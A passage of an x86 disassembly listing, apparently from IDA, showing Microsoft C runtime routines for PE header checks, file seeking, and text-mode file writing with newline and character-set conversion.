		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D222
		add	esp, 14h

loc_416E12:				; CODE XREF: sub_416DD4+2Fj
		cmp	[ebp+var_1C], 1
		jz	short loc_416E39
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_41E0E8	; GetModuleHandleA
		cmp	eax, edi
		jz	short loc_416E39
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	ds:off_41E0F0
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_416E3E

loc_416E39:				; CODE XREF: sub_416DD4+42j
					; sub_416DD4+51j
		mov	esi, offset loc_416DC4

loc_416E3E:				; CODE XREF: sub_416DD4+63j
		push	esi
		call	sub_40F608
		pop	ecx
		mov	dword_42647C, eax

loc_416E4A:				; CODE XREF: sub_416DD4+21j
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		jmp	short loc_416E89
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		xor	ecx, ecx
		cmp	eax, 0C0000017h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_24], 0C0000017h
		jnz	short loc_416E85
		push	8
		call	ds:dword_41E174	; RtlRestoreLastWin32Error

loc_416E85:				; CODE XREF: sub_416DD4+A7j
		and	[ebp+var_20], 0

loc_416E89:				; CODE XREF: sub_416DD4+84j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
sub_416DD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416EA0	proc near		; CODE XREF: sub_416F12+16p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	5A4Dh
		jz	short loc_416EAE

loc_416EAB:				; CODE XREF: sub_416EA0+19j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_416EAE:				; CODE XREF: sub_416EA0+9j
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	short loc_416EAB
		xor	ecx, ecx
		cmp	word ptr [eax+18h], 10Bh
		setz	cl
		mov	eax, ecx
		retn
sub_416EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416ED0	proc near		; CODE XREF: sub_416F12+27p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		movzx	eax, word ptr [ecx+14h]
		push	ebx
		push	esi
		movzx	esi, word ptr [ecx+6]
		xor	edx, edx
		test	esi, esi
		push	edi
		lea	eax, [eax+ecx+18h]
		jbe	short loc_416F0C
		mov	edi, [esp+0Ch+arg_4]

loc_416EF2:				; CODE XREF: sub_416ED0+3Aj
		mov	ecx, [eax+0Ch]
		cmp	edi, ecx
		jb	short loc_416F02
		mov	ebx, [eax+8]
		add	ebx, ecx
		cmp	edi, ebx
		jb	short loc_416F0E

loc_416F02:				; CODE XREF: sub_416ED0+27j
		add	edx, 1
		add	eax, 28h
		cmp	edx, esi
		jb	short loc_416EF2

loc_416F0C:				; CODE XREF: sub_416ED0+1Cj
		xor	eax, eax

loc_416F0E:				; CODE XREF: sub_416ED0+30j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416ED0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F12	proc near		; CODE XREF: sub_410B20+FFp
					; sub_4120C9+Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421E58
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		mov	edx, 400000h
		push	edx
		call	sub_416EA0
		pop	ecx
		test	eax, eax
		jz	short loc_416F6F
		mov	eax, [ebp+arg_0]
		sub	eax, edx
		push	eax
		push	edx
		call	sub_416ED0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_416F6F
		mov	eax, [eax+24h]
		shr	eax, 1Fh
		not	eax
		and	eax, 1
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		jmp	short loc_416F78
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		xor	ecx, ecx
		cmp	eax, 0C0000005h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]

loc_416F6F:				; CODE XREF: sub_416F12+1Ej
					; sub_416F12+30j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		xor	eax, eax

loc_416F78:				; CODE XREF: sub_416F12+44j
		call	__SEH_epilog4
		retn
sub_416F12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F7E	proc near		; CODE XREF: sub_41407D+2EEp
					; sub_41407D+3C8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_418EA9
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		pop	ecx
		jnz	short loc_416FB3
		call	sub_40FCB4
		mov	dword ptr [eax], 9

loc_416FAD:				; CODE XREF: sub_416F7E+5Ej
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_416FFD
; ---------------------------------------------------------------------------

loc_416FB3:				; CODE XREF: sub_416F7E+22j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	ds:off_41E074
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_416FDE
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_416FDE
		push	eax
		call	sub_40FCDA
		pop	ecx
		jmp	short loc_416FAD
; ---------------------------------------------------------------------------

loc_416FDE:				; CODE XREF: sub_416F7E+4Bj
					; sub_416F7E+55j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433CE0[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]

loc_416FFD:				; CODE XREF: sub_416F7E+33j
		pop	edi
		pop	esi
		leave
		retn
sub_416F7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417001	proc near		; CODE XREF: sub_410CB6+116p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset dword_421E78
		call	__SEH_prolog4
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41703A
		call	sub_40FCC7
		and	dword ptr [eax], 0
		call	sub_40FCB4
		mov	dword ptr [eax], 9

loc_417031:				; CODE XREF: sub_417001+66j
		mov	eax, esi
		mov	edx, esi
		jmp	loc_41710A
; ---------------------------------------------------------------------------

loc_41703A:				; CODE XREF: sub_417001+1Bj
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_417048
		cmp	eax, dword_433CD8
		jb	short loc_417069

loc_417048:				; CODE XREF: sub_417001+3Dj
		call	sub_40FCC7
		mov	[eax], edi
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		jmp	short loc_417031
; ---------------------------------------------------------------------------

loc_417069:				; CODE XREF: sub_417001+45j
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:433CE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jnz	short loc_4170AF
		call	sub_40FCC7
		mov	[eax], edi
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		or	edx, 0FFFFFFFFh
		mov	eax, edx
		jmp	short loc_41710A
; ---------------------------------------------------------------------------

loc_4170AF:				; CODE XREF: sub_417001+86j
		push	eax
		call	sub_418F1A
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4170DE
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416F7E
		add	esp, 10h
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		jmp	short loc_4170F8
; ---------------------------------------------------------------------------

loc_4170DE:				; CODE XREF: sub_417001+BFj
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		call	sub_40FCC7
		mov	[eax], edi
		or	[ebp+var_24], 0FFFFFFFFh
		or	[ebp+var_20], 0FFFFFFFFh

loc_4170F8:				; CODE XREF: sub_417001+DBj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417110
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_20]

loc_41710A:				; CODE XREF: sub_417001+34j
					; sub_417001+ACj
		call	__SEH_epilog4
		retn
sub_417001	endp


; =============== S U B	R O U T	I N E =======================================



sub_417110	proc near		; CODE XREF: sub_417001+FEp
					; DATA XREF: ev73vtp2:00421E90o
		push	dword ptr [ebp+8]
		call	sub_418FBA
		pop	ecx
		retn
sub_417110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=518h


sub_41711A	proc near		; CODE XREF: sub_4176E0+9Ap
					; sub_41A617+BBp

var_594		= dword	ptr -594h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_56D		= byte ptr -56Dh
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_410		= byte ptr -410h
var_160		= byte ptr -160h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-518h]
		sub	esp, 594h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+518h+var_4], eax
		mov	eax, [ebp+518h+arg_4]
		push	esi
		xor	esi, esi
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_57C], eax
		mov	[ebp+518h+var_578], esi
		mov	[ebp+518h+var_580], esi
		jnz	short loc_417156
		xor	eax, eax
		jmp	loc_4176CA
; ---------------------------------------------------------------------------

loc_417156:				; CODE XREF: sub_41711A+33j
		cmp	eax, esi
		jnz	short loc_417181
		call	sub_40FCC7
		mov	[eax], esi
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_4176CA
; ---------------------------------------------------------------------------

loc_417181:				; CODE XREF: sub_41711A+3Ej
		mov	esi, [ebp+518h+arg_0]
		push	ebx
		mov	ebx, esi
		and	ebx, 1Fh
		imul	ebx, 28h
		mov	eax, esi
		sar	eax, 5
		push	edi
		lea	edi, ds:433CE0h[eax*4]
		mov	eax, [edi]
		add	eax, ebx
		mov	cl, [eax+24h]
		add	cl, cl
		sar	cl, 1
		cmp	cl, 2
		mov	[ebp+518h+var_588], edi
		mov	[ebp+518h+var_56D], cl
		jz	short loc_4171B8
		cmp	cl, 1
		jnz	short loc_4171EB

loc_4171B8:				; CODE XREF: sub_41711A+97j
		mov	ecx, [ebp+518h+arg_8]
		not	ecx
		test	cl, 1
		jnz	short loc_4171EB
		call	sub_40FCC7
		xor	esi, esi
		mov	[eax], esi
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		jmp	loc_4176C0
; ---------------------------------------------------------------------------

loc_4171EB:				; CODE XREF: sub_41711A+9Cj
					; sub_41711A+A9j
		test	byte ptr [eax+4], 20h
		jz	short loc_417200
		push	2
		push	0
		push	0
		push	esi
		call	sub_416F7E
		add	esp, 10h

loc_417200:				; CODE XREF: sub_41711A+D5j
		push	esi
		call	sub_417800
		test	eax, eax
		pop	ecx
		jz	loc_417405
		mov	eax, [edi]
		test	byte ptr [ebx+eax+4], 80h
		jz	loc_417405
		call	sub_40F87E
		mov	eax, [eax+6Ch]
		xor	ecx, ecx
		cmp	[eax+14h], ecx
		lea	eax, [ebp+518h+var_594]
		setz	cl
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		mov	esi, ecx
		call	ds:off_41E118
		test	eax, eax
		jz	loc_417405
		test	esi, esi
		jz	short loc_417253
		cmp	[ebp+518h+var_56D], 0
		jz	loc_417405

loc_417253:				; CODE XREF: sub_41711A+12Dj
		call	ds:off_41E11C
		and	[ebp+518h+var_568], 0
		cmp	[ebp+518h+arg_8], 0
		mov	esi, [ebp+518h+var_57C]
		mov	[ebp+518h+var_594], eax
		mov	[ebp+518h+var_58C], esi
		jbe	loc_417672
		and	[ebp+518h+var_574], 0
		jmp	short loc_41727C
; ---------------------------------------------------------------------------

loc_417279:				; CODE XREF: sub_41711A+2E0j
		mov	esi, [ebp+518h+var_58C]

loc_41727C:				; CODE XREF: sub_41711A+15Dj
		mov	al, [ebp+518h+var_56D]
		test	al, al
		jnz	loc_41738D
		mov	al, [esi]
		xor	ecx, ecx
		cmp	al, 0Ah
		setz	cl
		movsx	eax, al
		push	eax
		mov	[ebp+518h+var_590], ecx
		call	sub_416CF6
		test	eax, eax
		pop	ecx
		jnz	short loc_4172BB
		push	1
		lea	eax, [ebp+518h+var_56C]
		push	esi
		push	eax
		call	sub_4195FC
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_417668
		jmp	short loc_4172EB
; ---------------------------------------------------------------------------

loc_4172BB:				; CODE XREF: sub_41711A+185j
		mov	eax, [ebp+518h+var_57C]
		sub	eax, esi
		add	eax, [ebp+518h+arg_8]
		cmp	eax, 1
		jbe	loc_417668
		push	2
		lea	eax, [ebp+518h+var_56C]
		push	esi
		push	eax
		call	sub_4195FC
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_417668
		inc	esi
		inc	[ebp+518h+var_574]

loc_4172EB:				; CODE XREF: sub_41711A+19Fj
		xor	eax, eax
		push	eax
		push	eax
		push	5
		lea	ecx, [ebp+518h+var_C]
		push	ecx
		push	1
		lea	ecx, [ebp+518h+var_56C]
		push	ecx
		push	eax
		push	[ebp+518h+var_594]
		inc	esi
		inc	[ebp+518h+var_574]
		mov	[ebp+518h+var_58C], esi
		call	ds:dword_41E138	; WideCharToMultiByte
		mov	esi, eax
		test	esi, esi
		jz	loc_417668
		push	0
		lea	eax, [ebp+518h+var_568]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_C]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	loc_41765F
		mov	eax, [ebp+518h+var_568]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_417668
		cmp	[ebp+518h+var_590], 0
		jz	loc_4173F1
		push	0
		lea	eax, [ebp+518h+var_568]
		push	eax
		push	1
		lea	eax, [ebp+518h+var_C]
		push	eax
		mov	eax, [edi]
		mov	[ebp+518h+var_C], 0Dh
		push	dword ptr [ebx+eax]
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	loc_41765F
		cmp	[ebp+518h+var_568], 1
		jl	loc_417668
		inc	[ebp+518h+var_580]
		inc	[ebp+518h+var_578]
		jmp	short loc_4173F1
; ---------------------------------------------------------------------------

loc_41738D:				; CODE XREF: sub_41711A+167j
		cmp	al, 1
		jz	short loc_417395
		cmp	al, 2
		jnz	short loc_4173B0

loc_417395:				; CODE XREF: sub_41711A+275j
		movzx	ecx, word ptr [esi]
		xor	edx, edx
		cmp	cx, 0Ah
		setz	dl
		inc	esi
		inc	esi
		add	[ebp+518h+var_574], 2
		mov	[ebp+518h+var_56C], ecx
		mov	[ebp+518h+var_58C], esi
		mov	[ebp+518h+var_590], edx

loc_4173B0:				; CODE XREF: sub_41711A+279j
		cmp	al, 1
		jz	short loc_4173B8
		cmp	al, 2
		jnz	short loc_4173F1

loc_4173B8:				; CODE XREF: sub_41711A+298j
		push	[ebp+518h+var_56C]
		call	sub_41A54C
		cmp	ax, word ptr [ebp+518h+var_56C]
		pop	ecx
		jnz	loc_41765F
		inc	[ebp+518h+var_578]
		cmp	[ebp+518h+var_590], 0
		jz	short loc_4173F1
		push	0Dh
		pop	eax
		push	eax
		mov	[ebp+518h+var_56C], eax
		call	sub_41A54C
		cmp	ax, word ptr [ebp+518h+var_56C]
		pop	ecx
		jnz	loc_41765F
		inc	[ebp+518h+var_578]
		inc	[ebp+518h+var_580]

loc_4173F1:				; CODE XREF: sub_41711A+232j
					; sub_41711A+271j ...
		mov	eax, [ebp+518h+arg_8]
		cmp	[ebp+518h+var_574], eax
		jb	loc_417279
		jmp	loc_417668
; ---------------------------------------------------------------------------

loc_417405:				; CODE XREF: sub_41711A+EFj
					; sub_41711A+FCj ...
		mov	eax, [edi]
		add	eax, ebx
		test	byte ptr [eax+4], 80h
		jz	loc_417638
		mov	eax, [ebp+518h+var_57C]
		xor	esi, esi
		cmp	[ebp+518h+var_56D], 0
		mov	[ebp+518h+var_56C], esi
		jnz	loc_4174B6
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_568], eax
		jbe	loc_417699

loc_417434:				; CODE XREF: sub_41711A+395j
		mov	ecx, [ebp+518h+var_568]
		and	[ebp+518h+var_574], 0
		sub	ecx, [ebp+518h+var_57C]
		lea	eax, [ebp+518h+var_564]

loc_417441:				; CODE XREF: sub_41711A+354j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_417470
		mov	edx, [ebp+518h+var_568]
		inc	[ebp+518h+var_568]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_417461
		inc	[ebp+518h+var_580]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+518h+var_574]

loc_417461:				; CODE XREF: sub_41711A+33Bj
		mov	[eax], dl
		inc	eax
		inc	[ebp+518h+var_574]
		cmp	[ebp+518h+var_574], 400h
		jb	short loc_417441

loc_417470:				; CODE XREF: sub_41711A+32Dj
		mov	esi, eax
		lea	eax, [ebp+518h+var_564]
		sub	esi, eax
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_564]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	loc_41765F
		mov	eax, [ebp+518h+var_584]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_417668
		mov	eax, [ebp+518h+var_568]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		jb	short loc_417434
		jmp	loc_417668
; ---------------------------------------------------------------------------

loc_4174B6:				; CODE XREF: sub_41711A+305j
		cmp	[ebp+518h+var_56D], 2
		jnz	loc_41755D
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_568], eax
		jbe	loc_417699

loc_4174CF:				; CODE XREF: sub_41711A+438j
		mov	ecx, [ebp+518h+var_568]
		xor	esi, esi
		sub	ecx, [ebp+518h+var_57C]
		lea	eax, [ebp+518h+var_564]

loc_4174DA:				; CODE XREF: sub_41711A+3F7j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_417513
		mov	edx, [ebp+518h+var_568]
		add	[ebp+518h+var_568], 2
		movzx	edx, word ptr [edx]
		inc	ecx
		inc	ecx
		cmp	dx, 0Ah
		jnz	short loc_417501
		add	[ebp+518h+var_580], 2
		mov	word ptr [eax],	0Dh
		inc	eax
		inc	eax
		inc	esi
		inc	esi

loc_417501:				; CODE XREF: sub_41711A+3D8j
		mov	edi, [ebp+518h+var_588]
		mov	[eax], dx
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		cmp	esi, 3FFh
		jb	short loc_4174DA

loc_417513:				; CODE XREF: sub_41711A+3C6j
		mov	esi, eax
		lea	eax, [ebp+518h+var_564]
		sub	esi, eax
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_564]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	loc_41765F
		mov	eax, [ebp+518h+var_584]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_417668
		mov	eax, [ebp+518h+var_568]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		jb	loc_4174CF
		jmp	loc_417668
; ---------------------------------------------------------------------------

loc_41755D:				; CODE XREF: sub_41711A+3A0j
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_574], eax
		jbe	loc_417699

loc_41756C:				; CODE XREF: sub_41711A+516j
		mov	ecx, [ebp+518h+var_574]
		and	[ebp+518h+var_568], 0
		sub	ecx, [ebp+518h+var_57C]
		push	2
		lea	eax, [ebp+518h+var_160]
		pop	esi

loc_41757F:				; CODE XREF: sub_41711A+497j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_4175B3
		mov	edx, [ebp+518h+var_574]
		movzx	edx, word ptr [edx]
		add	[ebp+518h+var_574], esi
		add	ecx, esi
		cmp	dx, 0Ah
		jnz	short loc_4175A2
		mov	word ptr [eax],	0Dh
		add	eax, esi
		add	[ebp+518h+var_568], esi

loc_4175A2:				; CODE XREF: sub_41711A+47Cj
		add	[ebp+518h+var_568], esi
		mov	[eax], dx
		add	eax, esi
		cmp	[ebp+518h+var_568], 152h
		jb	short loc_41757F

loc_4175B3:				; CODE XREF: sub_41711A+46Bj
		xor	esi, esi
		push	esi
		push	esi
		push	2ABh
		lea	ecx, [ebp+518h+var_410]
		push	ecx
		lea	ecx, [ebp+518h+var_160]
		sub	eax, ecx
		cdq
		sub	eax, edx
		sar	eax, 1
		push	eax
		mov	eax, ecx
		push	eax
		push	esi
		push	0FDE9h
		call	ds:dword_41E138	; WideCharToMultiByte
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_41765F

loc_4175E6:				; CODE XREF: sub_41711A+4F6j
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		mov	eax, edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+esi+518h+var_410]
		push	eax
		mov	eax, [ebp+518h+var_588]
		mov	eax, [eax]
		push	dword ptr [ebx+eax]
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	short loc_417614
		add	esi, [ebp+518h+var_584]
		cmp	edi, esi
		jg	short loc_4175E6
		jmp	short loc_41761D
; ---------------------------------------------------------------------------

loc_417614:				; CODE XREF: sub_41711A+4EFj
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		mov	[ebp+518h+var_56C], eax

loc_41761D:				; CODE XREF: sub_41711A+4F8j
		cmp	edi, esi
		jg	short loc_417668
		mov	eax, [ebp+518h+var_574]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		mov	[ebp+518h+var_578], eax
		jb	loc_41756C
		jmp	short loc_417668
; ---------------------------------------------------------------------------

loc_417638:				; CODE XREF: sub_41711A+2F3j
		push	0
		lea	ecx, [ebp+518h+var_584]
		push	ecx
		push	[ebp+518h+arg_8]
		push	[ebp+518h+var_57C]
		push	dword ptr [eax]
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	short loc_41765F
		mov	eax, [ebp+518h+var_584]
		and	[ebp+518h+var_56C], 0
		mov	[ebp+518h+var_578], eax
		jmp	short loc_417668
; ---------------------------------------------------------------------------

loc_41765F:				; CODE XREF: sub_41711A+21Aj
					; sub_41711A+25Bj ...
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		mov	[ebp+518h+var_56C], eax

loc_417668:				; CODE XREF: sub_41711A+199j
					; sub_41711A+1AFj ...
		mov	eax, [ebp+518h+var_578]
		test	eax, eax
		jnz	short loc_4176C5
		mov	edi, [ebp+518h+var_588]

loc_417672:				; CODE XREF: sub_41711A+153j
		xor	esi, esi
		cmp	[ebp+518h+var_56C], esi
		jz	short loc_417699
		push	5
		pop	esi
		cmp	[ebp+518h+var_56C], esi
		jnz	short loc_41768E
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		jmp	short loc_4176B9
; ---------------------------------------------------------------------------

loc_41768E:				; CODE XREF: sub_41711A+565j
		push	[ebp+518h+var_56C]
		call	sub_40FCDA
		pop	ecx
		jmp	short loc_4176C0
; ---------------------------------------------------------------------------

loc_417699:				; CODE XREF: sub_41711A+314j
					; sub_41711A+3AFj ...
		mov	eax, [edi]
		test	byte ptr [ebx+eax+4], 40h
		jz	short loc_4176AE
		mov	eax, [ebp+518h+var_57C]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_4176AE
		xor	eax, eax
		jmp	short loc_4176C8
; ---------------------------------------------------------------------------

loc_4176AE:				; CODE XREF: sub_41711A+586j
					; sub_41711A+58Ej
		call	sub_40FCB4
		mov	dword ptr [eax], 1Ch

loc_4176B9:				; CODE XREF: sub_41711A+572j
		call	sub_40FCC7
		mov	[eax], esi

loc_4176C0:				; CODE XREF: sub_41711A+CCj
					; sub_41711A+57Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4176C8
; ---------------------------------------------------------------------------

loc_4176C5:				; CODE XREF: sub_41711A+553j
		sub	eax, [ebp+518h+var_580]

loc_4176C8:				; CODE XREF: sub_41711A+592j
					; sub_41711A+5A9j
		pop	edi
		pop	ebx

loc_4176CA:				; CODE XREF: sub_41711A+37j
					; sub_41711A+62j
		mov	ecx, [ebp+518h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40AFEE
		add	ebp, 518h
		leave
		retn
sub_41711A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4176E0	proc near		; CODE XREF: sub_410CB6+CBp
					; sub_410CB6+13Ap ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_421E98
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41770F
		call	sub_40FCC7
		and	dword ptr [eax], 0
		call	sub_40FCB4
		mov	dword ptr [eax], 9

loc_417707:				; CODE XREF: sub_4176E0+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_4177AC
; ---------------------------------------------------------------------------

loc_41770F:				; CODE XREF: sub_4176E0+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_41771D
		cmp	eax, dword_433CD8
		jb	short loc_41773E

loc_41771D:				; CODE XREF: sub_4176E0+33j
					; sub_4176E0+7Cj
		call	sub_40FCC7
		mov	[eax], edi
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		jmp	short loc_417707
; ---------------------------------------------------------------------------

loc_41773E:				; CODE XREF: sub_4176E0+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:433CE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_41771D
		push	eax
		call	sub_418F1A
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417787
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41711A
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41779D
; ---------------------------------------------------------------------------

loc_417787:				; CODE XREF: sub_4176E0+8Fj
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		call	sub_40FCC7
		mov	[eax], edi
		or	[ebp+var_1C], 0FFFFFFFFh

loc_41779D:				; CODE XREF: sub_4176E0+A5j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4177B2
		mov	eax, [ebp+var_1C]

loc_4177AC:				; CODE XREF: sub_4176E0+2Aj
		call	__SEH_epilog4
		retn
sub_4176E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177B2	proc near		; CODE XREF: sub_4176E0+C4p
					; DATA XREF: ev73vtp2:00421EB0o
		push	dword ptr [ebp+8]
		call	sub_418FBA
		pop	ecx
		retn
